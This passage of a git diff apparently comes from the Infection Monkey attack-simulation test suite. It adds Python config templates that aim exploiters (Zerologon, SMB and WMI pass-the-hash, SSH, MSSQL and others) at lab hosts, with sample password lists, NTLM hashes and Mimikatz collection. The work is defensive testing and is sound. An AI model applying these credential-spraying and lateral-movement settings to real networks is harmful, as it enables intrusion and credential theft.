credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) + return credentials_on_island + + def _is_all_credentials_in_list(self, + all_creds: List[str]) -> bool: + credentials_missing = [cred for cred in self.expected_credentials if cred not in all_creds] + self._log_creds_not_gathered(credentials_missing) + return not credentials_missing + + def _log_creds_not_gathered(self, missing_creds: List[str]): + if not missing_creds: + self.log.add_entry("Zerologon exploiter gathered all credentials expected.") + else: + for cred in missing_creds: + self.log.add_entry(f"Credential Zerologon exploiter failed to gathered:{cred}.") + + def _analyze_credential_restore(self) -> bool: + cred_restore_telems = self.island_client.find_telems_in_db(TELEM_QUERY) + self._log_credential_restore(cred_restore_telems) + return bool(cred_restore_telems) + + def _log_credential_restore(self, telem_list: List[dict]): + if telem_list: + self.log.add_entry("Zerologon exploiter telemetry contains indicators that credentials " + "were successfully restored.") + else: + self.log.add_entry("Credential restore failed or credential restore " + "telemetry not found on the Monkey Island.") + self.log.add_entry(f"Query for credential restore telem: {pformat(TELEM_QUERY)}") + + diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/envs/monkey_zoo/blackbox/config_templates/__init__.py similarity index 100% rename from monkey/monkey_island/cc/resources/reporting/__init__.py rename to envs/monkey_zoo/blackbox/config_templates/__init__.py diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py new file mode 100644 index 000000000..9ebea6f1f --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -0,0 +1,14 @@ +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +# Disables a lot of config values not required for a specific feature test +class BaseTemplate(ConfigTemplate): + + config_values = { + "basic.exploiters.exploiter_classes": [], + "basic_network.scope.local_network_scan": False, + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.monkey.system_info.system_info_collector_classes": + ["EnvironmentCollector", "HostnameCollector"], + "monkey.post_breach.post_breach_actions": [] + } diff --git a/envs/monkey_zoo/blackbox/config_templates/config_template.py b/envs/monkey_zoo/blackbox/config_templates/config_template.py new file mode 100644 index 000000000..e0ff4e568 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/config_template.py @@ -0,0 +1,9 @@ +from abc import ABC, abstractmethod + + +class ConfigTemplate(ABC): + + @property + @abstractmethod + def config_values(self) -> dict: + pass diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py new file mode 100644 index 000000000..e202219dc --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py @@ -0,0 +1,14 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Drupal(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "basic.exploiters.exploiter_classes": ["DrupalExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.28"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py new file mode 100644 index 000000000..56021e959 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py @@ -0,0 +1,15 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Elastic(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], + "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py new file mode 100644 index 000000000..d136068e5 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py @@ -0,0 +1,14 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Hadoop(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["HadoopExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py new file mode 100644 index 000000000..003f9f8d3 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -0,0 +1,20 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Mssql(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.16"], + "basic.credentials.exploit_password_list": ["Password1!", + "Xk8VDTsC", + "password", + "12345678"], + "basic.credentials.exploit_user_list": ["Administrator", + "m0nk3y", + "user"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py new file mode 100644 index 000000000..e9e34727d --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -0,0 +1,54 @@ +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Performance(ConfigTemplate): + config_values = { + "basic.credentials.exploit_password_list": ["Xk8VDTsC", + "^NgDvY59~8", + "Ivrrw5zEzs", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + "basic.exploiters.exploiter_classes": ["SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "ZerologonExploiter"], + "basic_network.network_analysis.inaccessible_subnets": ["10.2.2.0/30", + "10.2.2.8/30", + "10.2.2.24/32", + "10.2.2.23/32", + "10.2.2.21/32", + "10.2.2.19/32", + "10.2.2.18/32", + "10.2.2.17/32"], + "basic_network.scope.subnet_scan_list": ["10.2.2.2", + "10.2.2.3", + "10.2.2.4", + "10.2.2.5", + "10.2.2.8", + "10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12", + "10.2.2.11", + "10.2.2.12", + "10.2.2.14", + "10.2.2.15", + "10.2.2.16", + "10.2.2.18", + "10.2.2.19", + "10.2.2.20", + "10.2.2.21", + "10.2.2.23", + "10.2.2.24", + "10.2.2.25"] + } diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py new file mode 100644 index 000000000..71d968e0b --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py @@ -0,0 +1,13 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class ShellShock(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.8"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py new file mode 100644 index 000000000..f563bc8d1 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -0,0 +1,20 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class SmbMimikatz(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["SmbExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py new file mode 100644 index 000000000..edee4cdbd --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -0,0 +1,22 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class SmbPth(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_value_list = { + "basic.exploiters.exploiter_classes": ["SmbExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", + "m0nk3y", + "user"], + "internal.classes.finger_classes": ["SMBFinger", + "PingScanner", + "HTTPFinger"], + "internal.classes.exploits.exploit_ntlm_hash_list": ["5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b"] + } diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py new file mode 100644 index 000000000..90871e52b --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -0,0 +1,23 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Ssh(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["SSHExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.11", + "10.2.2.12"], + "basic.credentials.exploit_password_list": ["Password1!", + "12345678", + "^NgDvY59~8"], + "basic.credentials.exploit_user_list": ["Administrator", + "m0nk3y", + "user"], + "internal.classes.finger_classes": ["SSHFinger", + "PingScanner", + "HTTPFinger"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py new file mode 100644 index 000000000..6eb399568 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py @@ -0,0 +1,14 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Struts2(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py new file mode 100644 index 000000000..ac46eb110 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -0,0 +1,33 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Tunneling(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["SmbExploiter", + "WmiExploiter", + "SSHExploiter" + ], + "basic_network.scope.subnet_scan_list": ["10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12"], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 180, + "basic.credentials.exploit_password_list": ["Password1!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + "12345678"], + "basic.credentials.exploit_user_list": ["Administrator", + "m0nk3y", + "user"], + "internal.classes.finger_classes": ["SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py new file mode 100644 index 000000000..482f7abf9 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py @@ -0,0 +1,14 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Weblogic(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py new file mode 100644 index 000000000..b6dbc0c88 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -0,0 +1,23 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class WmiMimikatz(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["WmiExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", + "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", + "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", + "m0nk3y", + "user"], + "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector"] + }) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py new file mode 100644 index 000000000..92746c3df --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -0,0 +1,22 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class WmiPth(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WmiExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.exploits.exploit_ntlm_hash_list": [ + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py new file mode 100644 index 000000000..28afa281f --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -0,0 +1,16 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Zerologon(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.25"], + # Empty list to make sure ZeroLogon adds "Administrator" username + "basic.credentials.exploit_user_list": [] + }) diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py index ee9a8b7ad..5b7211f87 100644 --- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -1,18 +1,30 @@ import json -import os + +import dpath.util +from typing_extensions import Type + +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class IslandConfigParser(object): - - def __init__(self, config_filename): - self.config_raw = open(IslandConfigParser.get_conf_file_path(config_filename), 'r').read() - self.config_json = json.loads(self.config_raw) - - def get_ips_of_targets(self): - return self.config_json['basic_network']['scope']['subnet_scan_list'] +class IslandConfigParser: @staticmethod - def get_conf_file_path(conf_file_name): - return os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), - "island_configs", - conf_file_name) + def get_raw_config(config_template: Type[ConfigTemplate], + island_client: MonkeyIslandClient) -> str: + response = island_client.get_config() + config = IslandConfigParser.apply_template_to_config(config_template, response['configuration']) + return json.dumps(config) + + @staticmethod + def apply_template_to_config(config_template: Type[ConfigTemplate], + config: dict) -> dict: + for path, value in config_template.config_values.items(): + dpath.util.set(config, path, value, '.') + return config + + @staticmethod + def get_ips_of_targets(raw_config): + return dpath.util.get(json.loads(raw_config), + "basic_network.scope.subnet_scan_list", + '.') diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 5932022fb..304996ebd 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,14 +1,15 @@ import json import logging from time import sleep +from typing import Union from bson import json_util -from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import \ - MonkeyIslandRequests +from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 MONKEY_TEST_ENDPOINT = 'api/test/monkey' +TELEMETRY_TEST_ENDPOINT = 'api/test/telemetry' LOG_TEST_ENDPOINT = 'api/test/log' LOGGER = logging.getLogger(__name__) @@ -25,6 +26,9 @@ class MonkeyIslandClient(object): def get_api_status(self): return self.requests.get("api") + def get_config(self): + return json.loads(self.requests.get("api/configuration/island").content) + @avoid_race_condition def import_config(self, config_contents): _ = self.requests.post("api/configuration/island", data=config_contents) @@ -65,6 +69,13 @@ class MonkeyIslandClient(object): MonkeyIslandClient.form_find_query_for_request(query)) return MonkeyIslandClient.get_test_query_results(response) + def find_telems_in_db(self, query: dict): + if query is None: + raise TypeError + response = self.requests.get(TELEMETRY_TEST_ENDPOINT, + MonkeyIslandClient.form_find_query_for_request(query)) + return MonkeyIslandClient.get_test_query_results(response) + def get_all_monkeys_from_db(self): response = self.requests.get(MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)) @@ -76,7 +87,7 @@ class MonkeyIslandClient(object): return MonkeyIslandClient.get_test_query_results(response) @staticmethod - def form_find_query_for_request(query): + def form_find_query_for_request(query: Union[dict, None]) -> dict: return {'find_query': json_util.dumps(query)} @staticmethod diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 7e2418d6f..226a0043c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -5,8 +5,7 @@ from typing import Dict import requests -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ @@ -91,16 +90,14 @@ class MonkeyIslandRequests(object): return requests.patch(self.addr + url, # noqa: DUO123 data=data, headers=self.get_jwt_header(), - verify=False - ) + verify=False) @_Decorators.refresh_jwt_token def delete(self, url): return requests.delete( # noqa: DOU123 self.addr + url, headers=self.get_jwt_header(), - verify=False - ) + verify=False) @_Decorators.refresh_jwt_token def get_jwt_header(self): diff --git a/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf b/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf deleted file mode 100644 index d8790f744..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf +++ /dev/null @@ -1,185 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "root", - "123456", - "password", - "123456789", - "qwerty", - "111111", - "iloveyou" - ], - "exploit_user_list": [ - "Administrator", - "root", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "ElasticGroovyExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.4", - "10.2.2.5" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf deleted file mode 100644 index a65de1bf7..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf +++ /dev/null @@ -1,186 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "root", - "123456", - "password", - "123456789", - "qwerty", - "111111", - "iloveyou" - ], - "exploit_user_list": [ - "Administrator", - "root", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "HadoopExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.3", - "10.2.2.2" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [ - ] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf b/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf deleted file mode 100644 index a88c57ac7..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf +++ /dev/null @@ -1,180 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "Xk8VDTsC", - "password", - "12345678" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "MSSQLExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": true, - "subnet_scan_list": [] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - 